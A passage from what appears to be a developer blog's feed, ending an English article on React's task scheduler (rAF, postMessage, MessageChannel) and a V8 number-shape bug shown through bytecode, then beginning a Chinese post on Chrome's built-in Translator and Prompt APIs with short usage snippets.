tasks, executing small tasks continuously before the time is up.</p><p>After execution, rAF will be triggered again, doing the same thing as before, scheduling the callback for the next tick, and then browser render, ending this tick:</p><p><img src="/img/learn-advanced-javascript-from-react/p4.png" alt="tick over"></p><p>This process continues to execute, which is the entire asynchronous task scheduling mechanism. In simple terms, it is:</p><ol><li>Calculate how much time can be spent executing tasks without interfering with rendering in rAF.</li><li>Execute tasks as much as possible in the message handler.</li></ol><p>In the React source code, rAF is referred to as Animation Tick, while the message handler is called Idle Tick.</p><p>So why use postMessage and message handler? The reason is that if you use <code>setTimeout(fn, 0)</code>, there is a classic 4ms limitation. If you keep using setTimeout to schedule tasks, after a few recursive arrangements, the shortest execution interval will become 4ms, regardless of how much you set the interval.</p><p>On the other hand, postMessage and message handler do not have this limitation, which is why this approach was chosen.</p><p>However, there is a downside to using the message handler, which is that the current usage is <code>window.addEventListener(&#39;message&#39;, fn)</code>, so every time a task is scheduled, <code>window.postMessage</code> must be used. If there are other listeners on the page, it will be triggered repeatedly.</p><p>For example, some extensions might print out all received messages to help with debugging, potentially receiving one every 30ms, which could flood the logs. Such side-effect behavior is clearly not ideal and can interfere with other implementations.</p><h3><span id="react-1670-requestanimationframe-messagechannel">React 16.7.0 - requestAnimationFrame + MessageChannel</span></h3><p>Starting from React 16.7.0, this part was changed to use MessageChannel, which is another Web API for message exchange. Its usage is quite similar to the original, just with the added concept of a port:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// DOM and Worker environments.</span><span class="token comment">// We prefer MessageChannel because of the 4ms setTimeout clamping.</span><span class="token keyword">const</span> channel <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MessageChannel</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> port <span class="token operator">=</span> channel<span class="token punctuation">.</span>port2<span class="token punctuation">;</span>channel<span class="token punctuation">.</span>port1<span class="token punctuation">.</span>onmessage <span class="token operator">=</span> performWorkUntilDeadline<span class="token punctuation">;</span><span class="token function-variable function">schedulePerformWorkUntilDeadline</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  port<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>In the comments of the code, you can also see why React does not use setTimeout, which is the same reason I just mentioned. The PR for this change is here: <a href="https://github.com/facebook/react/pull/14234">[scheduler] Post to MessageChannel instead of window #14234</a>.</p><p>It seems like that’s it? This mechanism is quite reasonable, using two different types of asynchronous tasks to do different things while trying to perform tasks without interfering with rendering.</p><h3><span id="react-16120-messagechannel">React 16.12.0 - MessageChannel</span></h3><p>However, in React 16.12.0, the mechanism changed again, removing rAF and leaving only MessageChannel, executing for a maximum of 5ms each time:</p><p><img src="/img/learn-advanced-javascript-from-react/p5.png" alt="message channel"></p><p>So why switch to this mechanism? There are two places that explain it. The first is the <a href="https://github.com/facebook/react/blob/v16.12.0/packages/scheduler/src/forks/SchedulerHostConfig.default.js">code</a> in 16.12.0:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Scheduler periodically yields in case there is other work on the main</span><span class="token comment">// thread, like user events. By default, it yields multiple times per frame.</span><span class="token comment">// It does not attempt to align with frame boundaries, since most tasks don't</span><span class="token comment">// need to be frame aligned; for those that do, use requestAnimationFrame.</span><span class="token keyword">let</span> yieldInterval <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The main idea is that since the task does not need to align with the rendering of the screen, it ignores rendering and just keeps yielding.</p><p>The second explanation is from the issue <a href="https://github.com/facebook/react/issues/21662">Concurrency &#x2F; time-slicing by default #21662</a>, where someone asked if the scheduler was still using <code>requestIdleCallback</code>. Dan’s comment was:</p><blockquote><p>No, it fired too late and we’d waste CPU time. It’s really important for our use case that we utilize CPU to full extent rather than only after some idle period. So instead we rewrote to have our own loop that yields every 5ms.</p></blockquote><p>This clarifies why <code>requestIdleCallback</code> was eliminated at the beginning, because it fired too late.</p><p>So how is the implementation in the latest version v19.2.0?</p><p>From the <a href="https://github.com/facebook/react/blob/v19.2.0/packages/scheduler/src/forks/Scheduler.js">code</a>, it can be seen that it is basically the same mechanism as above, with not much change. It still uses MessageChannel to schedule tasks and yields every so often.</p><h3><span id="in-the-near-future-native-scheduler-api">In the Near Future: Native Scheduler API</span></h3><p>In fact, the Scheduler is not just for React; it is used whenever asynchronous task scheduling is needed. Therefore, browsers actually provide a native <a href="https://developer.mozilla.org/en-US/docs/Web/API/Scheduler">Scheduler API</a>, but it is still new and not well supported. However, it can be anticipated that in the future, there may be no need to write a custom implementation, as using the native browser API would be the best option.</p><p>In fact, React is already using this to implement a set, but it is still in an unstable state: <a href="https://github.com/facebook/react/blob/v19.2.0/packages/scheduler/src/forks/SchedulerPostTask.js">SchedulerPostTask.js</a>. The native API directly supports scheduling tasks with different priorities, which is much more convenient than writing it yourself.</p><p>In summary, from React’s code for scheduling asynchronous tasks, we can learn about the differences in timing and frequency of triggering different functions. We can also understand why React made such choices through these changes in mechanisms, allowing us to better grasp the nuances of these asynchronous details.</p><h2><span id="learning-about-underlying-operations-from-v8-bug">Learning About Underlying Operations from V8 Bug</span></h2><p>Continuing from the earlier discussion about React fiber, there is a section related to the profiler in the <a href="https://github.com/facebook/react/blob/v19.2.0/packages/react-reconciler/src/ReactFiber.js#L177">code</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>enableProfilerTimer<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1.1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The question arises: why is the initial value here -0 instead of 0? What is the difference between these two?</p><p>In even older versions, it was first assigned as NaN before becoming 0. What kind of magic is this?</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>enableProfilerTimer<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>All of this is related to the underlying operations of V8 and a bug.</p><p>Regarding this matter, V8 itself has a blog post: <a href="https://v8.dev/blog/react-cliff">The story of a V8 performance cliff in React</a>, which explains it very well. Please read this article yourself or look at it with AI; I won’t repeat it here, and will only mention the conclusions and key points below.</p><p>First of all, although we all know that in the JavaScript specification, <a href="https://blog.huli.tw/2022/02/25/en/javascript-how-many-types/#6-number">all numbers are doubles</a>, the JavaScript engine does not necessarily implement it that way. After all, if every number were stored as a 64-bit double, there would be both space and performance issues, and integer addition and subtraction would also be floating-point operations, which is unbearable.</p><p>Therefore, in the V8 engine, numbers are actually divided into two types: one is a 32-bit int called a small integer, abbreviated as Smi, and the other is truly a floating-point number, called HeapNumber. The two types are stored in different locations, with floating-point numbers needing to be stored in the heap.</p><p>To optimize objects, they are associated with something called a shape when stored, similar to the metadata of the object, which stores the type and offset of each value. Similarly, objects of the same interface will share the same shape.</p><p>When the type of an object value changes, this shape will also change. For example, if it changes from Smi to double, a new shape will be created.</p><p>The bug in V8 can be simply described as follows: in the React profiler, certain values are initially initialized to 0, with the type being Smi. Then, <code>Object.preventExtensions</code> is used to prevent new properties from being added, and this value is changed to a floating-point number (the return value of <code>performance.now()</code>).</p><p>This behavior causes V8 to break, as it does not know how to handle the change in shape, resulting in the creation of an entirely new shape. Moreover, this issue is not limited to just one object; all similar objects cannot share the shape and instead each have their own.</p><p>Although most people may not notice this underlying difference, when React is tested with a large number of nodes, the difference becomes apparent as the base increases, evolving into a performance issue.</p><p>Although V8 has fixed the bug, so this issue no longer exists, React has also made a fix. For instance, the NaN mentioned earlier is set to NaN because it is fundamentally a floating-point number rather than Smi. The current version being -0 is for the same reason; -0 is a floating-point number, while 0 is Smi.</p><p>When both the initial value and the subsequent value are floating-point numbers, there will be no issue with the change in shape, and thus the V8 bug will not be encountered.</p><p>However, have you ever thought about how to determine that NaN and -0 are floating-point numbers?</p><h3><span id="looking-at-underlying-types-from-v8-bytecode">Looking at Underlying Types from V8 Bytecode</span></h3><p>Aside from translating specifications, compiling code into V8 bytecode is actually a good method. For example, consider the following function:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> x <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token constant">AAAAA</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token operator">/</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span><span class="token punctuation">&#125;</span><span class="token constant">AAAAA</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>After compiling with the command <code>node --print-bytecode test.js &gt; out</code>, the result is:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">[</span>generated bytecode <span class="token keyword">for</span> <span class="token keyword">function</span><span class="token operator">:</span> <span class="token constant">AAAAA</span> <span class="token punctuation">(</span><span class="token number">0x31bb2f7de971</span> <span class="token operator">&lt;</span>SharedFunctionInfo <span class="token constant">AAAAA</span><span class="token operator">></span><span class="token punctuation">)</span><span class="token punctuation">]</span>Bytecode length<span class="token operator">:</span> <span class="token number">41</span>Parameter count <span class="token number">1</span>Register count <span class="token number">2</span>Frame size <span class="token number">16</span>Bytecode age<span class="token operator">:</span> <span class="token number">0</span>   <span class="token number">62</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df776</span> @    <span class="token number">0</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df778</span> @    <span class="token number">2</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df779</span> @    <span class="token number">3</span> <span class="token operator">:</span> 0c                LdaZero         <span class="token number">0x31bb2f7df77a</span> @    <span class="token number">4</span> <span class="token operator">:</span> c3                Star1   <span class="token number">62</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df77b</span> @    <span class="token number">5</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">00</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>   <span class="token number">73</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df77f</span> @    <span class="token number">9</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df781</span> @   <span class="token number">11</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df782</span> @   <span class="token number">12</span> <span class="token operator">:</span> <span class="token number">13</span> <span class="token number">00</span>             LdaConstant <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df784</span> @   <span class="token number">14</span> <span class="token operator">:</span> c3                Star1   <span class="token number">73</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df785</span> @   <span class="token number">15</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">02</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>   <span class="token number">85</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df789</span> @   <span class="token number">19</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df78b</span> @   <span class="token number">21</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df78c</span> @   <span class="token number">22</span> <span class="token operator">:</span> 0d <span class="token number">03</span>             LdaSmi <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df78e</span> @   <span class="token number">24</span> <span class="token operator">:</span> c3                Star1   <span class="token number">85</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df78f</span> @   <span class="token number">25</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">04</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span>   <span class="token number">96</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df793</span> @   <span class="token number">29</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df795</span> @   <span class="token number">31</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df796</span> @   <span class="token number">32</span> <span class="token operator">:</span> <span class="token number">13</span> <span class="token number">01</span>             LdaConstant <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df798</span> @   <span class="token number">34</span> <span class="token operator">:</span> c3                Star1   <span class="token number">96</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df799</span> @   <span class="token number">35</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">06</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df79d</span> @   <span class="token number">39</span> <span class="token operator">:</span> 0e                LdaUndefined  <span class="token number">114</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df79e</span> @   <span class="token number">40</span> <span class="token operator">:</span> a9                ReturnConstant <span class="token function">pool</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df711</span><span class="token operator">:</span> <span class="token punctuation">[</span>FixedArray<span class="token punctuation">]</span> <span class="token keyword">in</span> OldSpace <span class="token operator">-</span> map<span class="token operator">:</span> <span class="token number">0x3bc7231c0211</span> <span class="token operator">&lt;</span><span class="token function">Map</span><span class="token punctuation">(</span><span class="token constant">FIXED_ARRAY_TYPE</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token operator">-</span> length<span class="token operator">:</span> <span class="token number">2</span>           <span class="token number">0</span><span class="token operator">:</span> <span class="token number">0x31bb2f7df731</span> <span class="token operator">&lt;</span>HeapNumber <span class="token operator">-</span><span class="token number">0.0</span><span class="token operator">></span>           <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0x3bc7231c0561</span> <span class="token operator">&lt;</span>HeapNumber nan<span class="token operator">></span>Handler <span class="token function">Table</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">)</span>Source Position <span class="token function">Table</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">21</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df7a1</span> <span class="token operator">&lt;</span>ByteArray<span class="token punctuation">[</span><span class="token number">21</span><span class="token punctuation">]</span><span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You can see that 3 is directly <code>LdaSmi</code>, indicating it is Smi, while -0 and NaN are <code>LdaConstant</code>, loaded from the constant pool, which contains:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Constant <span class="token function">pool</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df711</span><span class="token operator">:</span> <span class="token punctuation">[</span>FixedArray<span class="token punctuation">]</span> <span class="token keyword">in</span> OldSpace <span class="token operator">-</span> map<span class="token operator">:</span> <span class="token number">0x3bc7231c0211</span> <span class="token operator">&lt;</span><span class="token function">Map</span><span class="token punctuation">(</span><span class="token constant">FIXED_ARRAY_TYPE</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token operator">-</span> length<span class="token operator">:</span> <span class="token number">2</span>           <span class="token number">0</span><span class="token operator">:</span> <span class="token number">0x31bb2f7df731</span> <span class="token operator">&lt;</span>HeapNumber <span class="token operator">-</span><span class="token number">0.0</span><span class="token operator">></span>           <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0x3bc7231c0561</span> <span class="token operator">&lt;</span>HeapNumber nan<span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It is clear that both of these are heap numbers and do not belong to Smi.</p><p>From a theoretical perspective, NaN cannot be Smi because NaN is defined in IEEE 754, and -0 requires the negative sign, which does not exist in int, so it can only be a double.</p><p>In any case, if you encounter confusion regarding underlying types in the future, you can compile to bytecode for confirmation; it is straightforward.</p><h2><span id="summary">Summary</span></h2><p>In this article, we learned several things from the React source code:</p><ol><li>The purpose of Symbol, which can utilize its non-serializable feature to ensure that it cannot be constructed externally.</li><li>The triggering timing and characteristics of various asynchronous functions such as <code>requestIdleCallback</code>, <code>requestAnimationFrame</code>, <code>MessageChannel</code>, and <code>setTimeout</code>, as well as how React arranges tasks at a lower level.</li><li>While all JavaScript numbers appear to be 64-bit doubles in specifications, V8 actually differentiates between Smi and double at a lower level, which can be confirmed using bytecode.</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, I shared this topic at the online pre-event of &lt;a href=&quot;https://2025.jsdc.tw/&quot;&gt;JSDC&lt;/a&gt;. Since I already shared it, I thought it would be good to write an article. The inspiration and content of this article actually come from &lt;a href=&quot;https://www.tenlong.com.tw/products/9786267757048&quot;&gt;“JavaScript Relearning”&lt;/a&gt; (only available in Chinese). When I wrote the book, I referenced some elements from the React source code, and this article is just a reorganization and rewriting of the various React-related chapters that were originally scattered throughout the book.&lt;/p&gt;
&lt;p&gt;I find it interesting to learn new concepts from the code of these open-source projects. After all, the more bugs these widely used frameworks encounter, the more solutions to these problems can be learned, allowing for reflection on what one has previously learned.&lt;/p&gt;
&lt;p&gt;This article is divided into three small sections:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;XSS Vulnerabilities in Older Versions of React&lt;/li&gt;
&lt;li&gt;Learning the Event Loop from React Fiber&lt;/li&gt;
&lt;li&gt;Learning Underlying Mechanics from V8 Bugs&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>Chrome 內建的翻譯與 Prompt API</title>
    <link href="https://blog.huli.tw/2025/09/27/chrome-built-in-prompt-api/"/>
    <id>https://blog.huli.tw/2025/09/27/chrome-built-in-prompt-api/</id>
    <published>2025-09-26T21:50:00.000Z</published>
    <updated>2025-09-27T07:11:12.982Z</updated>
    
    <content type="html"><![CDATA[<p>前陣子有個讀者分享給我他自己做的 Chrome extension：<a href="https://github.com/Stevetanus/JPNEWS-helper/tree/main">JP NEWS Helper</a>，能夠摘要、翻譯 NHK News Easy 上面的文章，幫助學日文。</p><p>由於這個擴充套件是開源的，因此我第一件好奇的事就是：「它是用哪一間 AI 的服務，key 怎麼處理？」，結果看了 source code 才發現居然是 Chrome 內建的 Web API，不是我以為的 HTTP API。</p><p>算是有點後知後覺，現在才發現原來有內建的 Web API 可以用，因此寫篇文章簡單記錄一下。</p><span id="more"></span><h2><span id="chrome-的內建-ai-相關-api">Chrome 的內建 AI 相關 API</span></h2><p>如果想直接看 Google 的官方影片，可以參考這個：<a href="https://www.youtube.com/watch?v=8iIvAMZ-XYU">The future of Chrome Extensions with Gemini in your browser</a>，文字版的話則是這篇：<a href="https://developer.chrome.com/docs/ai/built-in-apis">內建 AI API</a>。</p><p>Chrome 從 138 版本開始（寫這篇文章當下，最新穩定版是 140），提供了三個內建的 Web API：</p><ol><li>Translator API，翻譯</li><li>Language Detector API，偵測語言</li><li>Summarizer API，摘要文章</li></ol><p>這三個 API 在使用前會需要下載一些小模型，而整體的使用方式超級簡單，底下以翻譯的功能為例。</p><p>首先，會需要檢查是否可用以及是否需要下載：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> translator <span class="token operator">=</span> <span class="token keyword">await</span> Translator<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">sourceLanguage</span><span class="token operator">:</span> <span class="token string">'en'</span><span class="token punctuation">,</span>  <span class="token literal-property property">targetLanguage</span><span class="token operator">:</span> <span class="token string">'zh-TW'</span><span class="token punctuation">,</span>  <span class="token function">monitor</span><span class="token punctuation">(</span><span class="token parameter">m</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    m<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'downloadprogress'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Downloaded </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>e<span class="token punctuation">.</span>loaded <span class="token operator">*</span> <span class="token number">100</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">%</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>那個 monitor 就是監控下載進度用的，以翻譯來說滿快就可以下載完。</p><p>下載完之後，只要一行程式碼就可以翻譯：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">await</span> translator<span class="token punctuation">.</span><span class="token function">translate</span><span class="token punctuation">(</span><span class="token string">'How are you?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// 你好嗎?</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>就這樣，沒了，超級簡單。</p><p>不過我試了一下，翻譯的品質沒有到很好，還是比不上直接去用真的大型 LLM 模型。但這功能可以直接內建在 Web API 裡，已經是一大進步了。</p><h2><span id="prompt-api">Prompt API</span></h2><p>除了開頭提的那三種，也有幾個還在測試中的 API，如 prompt API，就是可以直接下 prompt，跟平常使用 ChatGPT 等等的 API 差不多。目前要用的話需要去申請個 origin trial 拿 key，我之前有寫過怎麼申請：<a href="https://blog.huli.tw/2022/02/02/origin-trials-try-new-feature/">透過 Chrome Origin Trials 搶先試用新功能</a>。</p><p>我做了一個 demo 網站，有興趣可以玩玩看。因為 prompt API 的模型滿大的，建議在非手機網路環境下載，否則網路流量可能會爆掉。</p><p>另外，由於這個 API 還在測試階段，所以可能會有些問題。我一開始自己玩幾次都沒問題，但後來好像踩到了什麼 bug，每次問 AI 後都會直接系統級 panic，整個 Mac 當掉自動重開。</p><p><a href="https://aszx87410.github.io/demo/ai/prompt-api.html">https://aszx87410.github.io/demo/ai/prompt-api.html</a></p><p><img src="/img/chrome-built-in-prompt-api/p1.png" alt="Prompt API 示範網站截圖"></p><p>而這個 API 的使用方法也超簡單，第一步同樣是確認可用性以及下載：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">await</span> LanguageModel<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token function">monitor</span><span class="token punctuation">(</span><span class="token parameter">m</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// 監控下載進度</span>    m<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'downloadprogress'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token function">updateProgress</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>loaded<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>e<span class="token punctuation">.</span>loaded <span class="token operator">>=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">updateStatus</span><span class="token punctuation">(</span><span class="token string">'✅ AI 下載完成並已就緒！'</span><span class="token punctuation">,</span> <span class="token string">'available'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>下載完之後就可以用了：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> session <span class="token operator">=</span> <span class="token keyword">await</span> LanguageModel<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> response <span class="token operator">=</span> <span class="token keyword">await</span> session<span class="token punctuation">.</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">'你可以做什麼？'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>response<span class="token punctuation">)</span><span 